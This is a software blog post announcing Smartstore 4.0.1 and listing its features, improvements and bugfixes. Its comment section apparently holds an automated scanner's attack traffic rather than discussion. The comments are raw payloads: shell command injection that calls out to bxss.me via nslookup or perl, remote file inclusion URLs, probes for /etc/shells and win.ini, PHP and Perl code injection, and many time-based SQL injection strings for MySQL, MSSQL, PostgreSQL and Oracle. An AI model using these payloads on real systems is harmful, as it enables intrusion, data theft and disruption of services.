Sunday, July 26, 2020
Smartstore 4.0.1 is available
New Features
- Check on app startup whether any plugin has changed and refresh all plugin locale resources.
Improvements
- Theming: minimal but effective tweaks (rounding, shadows, typo)
- (SEO) (PERF) Preload logo to prevent flashing and web fonts to avoid FOUT on slow internet connection
- Rule Builder:
- The preview grid is now displayed in a modal dialog.
- Added more cart rules: weekday, total quantity of products in cart.
- Added list with example values for browser, operating system and device family rule.
- The localized ALT text of media files is now respected for all frontend images.
- SEO: most images in frontend now carry
loading="lazy"
attribute which loads images only when they enter visible viewport. - Media Manager:
- Improved image lazy loading behavior.
- The reference table of a file now remains open if its data has been loaded.
- Migration: detect duplicate file names.
- Improved handling of customer roles, e.g. paging for customer role grid.
- (PERF) Use direct SQL to delete guest customers.
- Blog & News items: Unpublished items are visible for shop admins now
Bugfixes
- Order placement validation now also checks whether the selected payment method has been filtered out.
- The button to cancel recurring payments in my-account was out of function.
- (pb) Flat Box did not invert text color if concrete colors were specified for text parts
- (mm) Store logo is handled by "content" album, not "file"
- (mm) Tracker tracks only the last media file property
- (mm) Migration:
Download
entity was teared down too early in the migration process. - (perf) Plugin hash calculation was broken in a way that every plugin was redeployed on each app startup
- A cart rule was not applied if more than one cart rule was assigned to an object.
- MegaSearch: fixed the incorrect featured sorting.
- Added missing paging for shipment list.
- "Show all" link in top brands list is always rendered in new line but should be last item in last row.
Comments (61)
Mr.
response.write(9240136*9392254)
Mr.
'+response.write(9240136*9392254)+'
Mr.
"+response.write(9240136*9392254)+"
Mr.
echo hpegvh$()\ ufthji\nz^xyu||a #' &echo hpegvh$()\ ufthji\nz^xyu||a #|" &echo hpegvh$()\ ufthji\nz^xyu||a #
Mr.
&echo oyfzev$()\ wspcft\nz^xyu||a #' &echo oyfzev$()\ wspcft\nz^xyu||a #|" &echo oyfzev$()\ wspcft\nz^xyu||a #
Mr.
|echo afpyta$()\ qjokit\nz^xyu||a #' |echo afpyta$()\ qjokit\nz^xyu||a #|" |echo afpyta$()\ qjokit\nz^xyu||a #
Mr.
(nslookup hitdkfcixsybq1b898.bxss.me||perl -e "gethostbyname('hitdkfcixsybq1b898.bxss.me')")
Mr.
$(nslookup hitgnrjdkzpgq3b059.bxss.me||perl -e "gethostbyname('hitgnrjdkzpgq3b059.bxss.me')")
Mr.
&(nslookup hithcuvzhmpin03f04.bxss.me||perl -e "gethostbyname('hithcuvzhmpin03f04.bxss.me')")&'\"`0&(nslookup hithcuvzhmpin03f04.bxss.me||perl -e "gethostbyname('hithcuvzhmpin03f04.bxss.me')")&`'
Mr.
|(nslookup hitbpmfrjjhys036fa.bxss.me||perl -e "gethostbyname('hitbpmfrjjhys036fa.bxss.me')")
Mr.
`(nslookup hitsorhbzhryu0cae4.bxss.me||perl -e "gethostbyname('hitsorhbzhryu0cae4.bxss.me')")`
Mr.
;(nslookup hitxnwkxbtift058fe.bxss.me||perl -e "gethostbyname('hitxnwkxbtift058fe.bxss.me')")|(nslookup hitxnwkxbtift058fe.bxss.me||perl -e "gethostbyname('hitxnwkxbtift058fe.bxss.me')")&(nslookup hitxnwkxbtift058fe.bxss.me||perl -e "gethostbyname('hitxnwkxbtift058fe.bxss.me')")
Mr.
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
Mr.
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
Mr.
Http://bxss.me/t/fit.txt
Mr.
http://bxss.me/t/fit.txt?.jpg
Mr.
/etc/shells
Mr.
c:/windows/win.ini
Mr.
bxss.me
Mr.
'.gethostbyname(lc('hitxm'.'ofzikwqb65d91.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(84).chr(116).chr(68).'
Mr.
".gethostbyname(lc("hitwp"."dfkfotcja001c.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(85).chr(119).chr(88)."
Mr.
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Mr.
';print(md5(31337));$a='
Mr.
";print(md5(31337));$a="
Mr.
${@print(md5(31337))}
Mr.
"+"A".concat(70-3).concat(22*4).concat(117).concat(85).concat(110).concat(90)+(require"socket"
Socket.gethostbyname("hitvd"+"gpcmfzxk38973.bxss.me.")[3].to_s)+"
Mr.
'+'A'.concat(70-3).concat(22*4).concat(100).concat(74).concat(105).concat(82)+(require'socket'
Socket.gethostbyname('hitej'+'kvfagtgx4a796.bxss.me.')[3].to_s)+'
Mr.
${@print(md5(31337))}\
Mr.
'.print(md5(31337)).'
Mr.
-1 OR 2+455-455-1=0+0+0+1 --
Mr.
-1 OR 3+455-455-1=0+0+0+1 --
Mr.
-1 OR 2+93-93-1=0+0+0+1
Mr.
-1 OR 3+93-93-1=0+0+0+1
Mr.
-1' OR 2+635-635-1=0+0+0+1 --
Mr.
-1' OR 3+635-635-1=0+0+0+1 --
Mr.
-1' OR 2+583-583-1=0+0+0+1 or 'ob03Ivim'='
Mr.
-1' OR 3+583-583-1=0+0+0+1 or 'ob03Ivim'='
Mr.
-1" OR 2+636-636-1=0+0+0+1 --
Mr.
-1" OR 3+636-636-1=0+0+0+1 --
Mr.
if(now()=sysdate(),sleep(15),0)
Mr.
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
Mr.
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
Mr.
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Mr.
-1; waitfor delay '0:0:15' --
Mr.
-1); waitfor delay '0:0:15' --
Mr.
-1)); waitfor delay '0:0:15' --
Mr.
1 waitfor delay '0:0:15' --
Mr.
1d1OjYic'; waitfor delay '0:0:15' --
Mr.
PvAxd7vi'); waitfor delay '0:0:15' --
Mr.
lAQzdJ7M')); waitfor delay '0:0:15' --
Mr.
-5 OR 513=(SELECT 513 FROM PG_SLEEP(15))--
Mr.
-5) OR 822=(SELECT 822 FROM PG_SLEEP(15))--
Mr.
-1)) OR 183=(SELECT 183 FROM PG_SLEEP(15))--
Mr.
QxWmIvmu' OR 873=(SELECT 873 FROM PG_SLEEP(15))--
Mr.
9flAuQCc') OR 231=(SELECT 231 FROM PG_SLEEP(15))--
Mr.
kbhpWDkq')) OR 801=(SELECT 801 FROM PG_SLEEP(15))--
Mr.
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Mr.
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Mr.
1'"
Mr.
1����%2527%2522
Mr.
@@Pbkt4